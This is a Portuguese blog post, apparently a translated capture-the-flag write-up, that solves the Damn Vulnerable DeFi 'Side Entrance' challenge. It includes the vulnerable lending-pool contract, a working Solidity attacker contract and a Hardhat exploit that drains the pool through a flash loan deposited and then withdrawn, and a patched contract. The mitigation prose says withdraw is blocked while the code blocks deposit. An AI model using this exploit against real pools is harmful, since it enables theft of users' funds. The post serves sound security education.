WEB3DEV

Cover image for Desafios Damn Vulnerable DeFi: #4 Side Entrance
Panegali
Panegali

Posted on

Desafios Damn Vulnerable DeFi: #4 Side Entrance

Damn Vulnerable DeFi (Maldita DeFi Vulnerável) é uma série de jogos CTF (Capture the flag ou Capturar o sinalizador) onde o jogador deve encontrar uma vulnerabilidade para quebrar ou roubar um protocolo.

Esses jogos educativos são muito interessantes no sentido de que eles imitam aplicativos reais (flashloans, pool, yield, …), permitindo-nos aprender não apenas sobre segurança na web3, mas também o que é DeFi.

Link aqui: https://www.damnvulnerabledefi.xyz/index.html

Nesta série de artigos, apresentarei os desafios e suas soluções.

#4 Side Entrance (Entrada lateral)

Um pool de empréstimos surpreendentemente simples permite que qualquer pessoa deposite ETH e retire-o a qualquer momento.
Este pool de empréstimos muito simples já possui 1.000 ETH em saldo e está oferecendo empréstimos relâmpago gratuitos usando o ETH depositado para promover seu sistema.
Você deve pegar todo o ETH do pool de empréstimos.
Veja os contratos
Complete o desafio

Descrição do protocolo

Em primeiro lugar, precisamos entender como funciona o protocolo.

O protocolo é composto por 1 contrato principal:

Este é o conjunto de empréstimos. Seu código é realmente conciso e simples: os usuários podem depositar ou retirar ETH de/para o pool. Eles também podem obter um flashloan (empréstimo relâmpago) dele chamando sua função flashLoan de um contrato, que então chamará uma função execute dentro do chamador.

SideEntranceLenderPool

// SPDX-License-Identifier: MIT

pragma solidity ^0.8.0;
import "@openzeppelin/contracts/utils/Address.sol";

interface IFlashLoanEtherReceiver {
    function execute() external payable;
}

/**
 * @title SideEntranceLenderPool
 * @author Damn Vulnerable DeFi (https://damnvulnerabledefi.xyz)
 */
contract SideEntranceLenderPool {
    using Address for address payable;

    mapping (address => uint256) private balances;

    function deposit() external payable {
        balances[msg.sender] += msg.value;
    }

    function withdraw() external {
        uint256 amountToWithdraw = balances[msg.sender];
        balances[msg.sender] = 0;
        payable(msg.sender).sendValue(amountToWithdraw);
    }

    function flashLoan(uint256 amount) external {
        uint256 balanceBefore = address(this).balance;
        require(balanceBefore >= amount, "Não há saldo suficiente de ETH");

        IFlashLoanEtherReceiver(msg.sender).execute{value: amount}();

        require(address(this).balance >= balanceBefore, "Empréstimo relâmpago não foi pago");        
    }
}
Enter fullscreen mode Exit fullscreen mode

Notas rápidas após a primeira leitura:

  1. Como nos desafios anteriores, o contrato utiliza a biblioteca de endereços Open Zeppelin que substitui as funções transfer/send e call/staticcall/delegatecall por outras mais seguras.
  2. o mapeamento balancesé privado, geralmente eles são definidos como públicos para que o front-end possa acessá-los e mostrar as informações ao usuário.
  3. Nenhuma proteção de reentrância na função withdraw, embora o padrão de interação check-effect seja implementado: verifique se a operação é válida, atualize o saldo e execute (sendValue verifica se o remetente tem saldo suficiente).
  4. A função flashLoantambém não possui um protetor de reentrância e pode ser um problema se execute chamar de volta flashLoan, pois balanceBefore é recalculado em cada chamada.
  5. Nesse desafio, o pool de credores não possui uma função de recebimento ou fallback; portanto, a única maneira de enviar ETH para o pool é por meio da função deposit que é pagável.

Solução

Você pode pensar que eu implementaria a vulnerabilidade no marcador 4, mas há uma maneira mais rápida de roubar esse contrato.

O contrato não impede que um usuário chame a função deposit durante o empréstimo relâmpago. Isso significa que posso emprestar fundos, enviar o ETH para o contrato enquanto os deposito em meu próprio saldo, que é rastreado pelo mapeamento balances.

Enquanto aumenta meu balances, também aumenta o saldo “nativo” de ETH do pool.

Ao pegar emprestado todo o saldo de ETH do pool e depositá-lo, posso posteriormente chamar a função de retirada e drenar todos os fundos.

Aqui está o contrato do atacante:

// SPDX-License-Identifier: MIT

pragma solidity ^0.8.0;

// importe "contracts/side-entrance/SideEntranceLenderPool.sol";
import "hardhat/console.sol";

interface ISideEntranceLenderPool {
    function deposit() external payable;
    function flashLoan(uint256 amount) external;
    function withdraw() external;
}

contract PoolAttacker {

    address payable private pool;
    address private owner;
    uint256 amount;

    constructor (address _pool){
        owner =msg.sender;
        pool = payable(_pool);
    }

    function attack(uint256 _amount) external {
        amount = _amount;
        ISideEntranceLenderPool(pool).flashLoan(amount);
    }

    function execute() external payable {
        (bool success, ) = pool.call{value:amount}(abi.encodeWithSignature("deposit()"));
        require(success);
    }

    function steal() external payable {
        ISideEntranceLenderPool(pool).withdraw();
        (bool success, ) = payable(msg.sender).call{value:amount}("");
        require(success);
    }

    receive() external payable {}

}
Enter fullscreen mode Exit fullscreen mode

Em seguida, posso adicionar minha chamada web3 no arquivo challenge.js escrevendo isso na seção Exploit:

it('Exploit', async function () {
        console.log("\nEXPLOIT");
        const PoolAttackerFactory = await ethers.getContractFactory(
            'PoolAttacker',attacker);
        this.poolAttacker = await PoolAttackerFactory.deploy(this.pool.address);
        console.log("poolAttacker address: ", this.poolAttacker.address);
        this.poolAttacker.attack(ETHER_IN_POOL);
        this.poolAttacker.steal();
        /** CODIFIQUE SEU EXPLOIT AQUI */
    });
Enter fullscreen mode Exit fullscreen mode

Etapas de mitigação recomendadas

Adicionando um sinalizador flashLoanInProgresse definindo-o como True quando o empréstimo relâmpago começar e definindo-o como False quando terminar. Ao fazer isso, podemos bloquear a função withdraw se o sinalizador for verdadeiro, impedindo que um invasor deposite durante um empréstimo relâmpago.

Aqui está o contrato fixo:

// SPDX-License-Identifier: MIT

pragma solidity ^0.8.0;
import "@openzeppelin/contracts/utils/Address.sol";

interface IFlashLoanEtherReceiver {
    function execute() external payable;
}

/**
 * @title SideEntranceLenderPool
 * @author Damn Vulnerable DeFi (https://damnvulnerabledefi.xyz)
 */
contract SideEntranceLenderPoolFIXED {
    using Address for address payable;

    mapping (address => uint256) public balances;
    bool flashLoanInProgress;

    function deposit() external payable {
        require(!flashLoanInProgress, "empréstimo relâmpago em andamento");
        balances[msg.sender] += msg.value;
    }

    function withdraw() external {
        uint256 amountToWithdraw = balances[msg.sender];
        balances[msg.sender] = 0;
        payable(msg.sender).sendValue(amountToWithdraw);
    }

    function flashLoan(uint256 amount) external {
        uint256 balanceBefore = address(this).balance;
        require(balanceBefore >= amount, "Não há saldo suficiente de ETH");
        require(!flashLoanInProgress, "empréstimo relâmpago em andamento");
        flashLoanInProgress = true;
        IFlashLoanEtherReceiver(msg.sender).execute{value: amount}();
        require(address(this).balance >= balanceBefore, "Empréstimo relâmpago não foi pago"); 
        flashLoanInProgress = false;
    }
}
Enter fullscreen mode Exit fullscreen mode

Nota a respeito do ponto 4

Eu estava pensando erroneamente que se o contrato tivesse uma função de recebimento, eu poderia ter roubado os fundos de forma diferente, já que a função flashLoan não implementa guarda de reentrância.

Minha função execute poderia ter sido assim:

pragma solidity ^0.8.0;

function execute() external payable {
    if(address(pool).balance != 0 && msg.value != 0) {
        ISideEntranceLenderPool(pool).flashLoan(msg.value);
    }  
    else if (address(pool).balance == 0 && msg.value != 0) {
        ISideEntranceLenderPool(pool).flashLoan(0);
    } 
    else {
    }
}
Enter fullscreen mode Exit fullscreen mode

Como dito antes, como a variável balanceBefore é recalculada a cada reentrância, provavelmente eu poderia drenar fundos.

Mas eu estava errado, cada vez que a função flashLoané inserida novamente, uma nova instância da chamada e de sua variável são lançadas na memória. Isso significa que, ao final da reentrância terei que passar por todas as instâncias, com seu próprio balanceBefore no momento em que as entrei, e o requisito final não será atendido, pois o saldo do pool será zero, portanto, a solicitação falhará.

No entanto, se a variável balanceBeforefosse uma variável de estado, isso teria funcionado.

Espero que tenham gostado deste artigo e até a próxima para um novo desafio!


Artigo escrito por Salah I. e traduzido por Marcelo Panegali

Latest comments (0)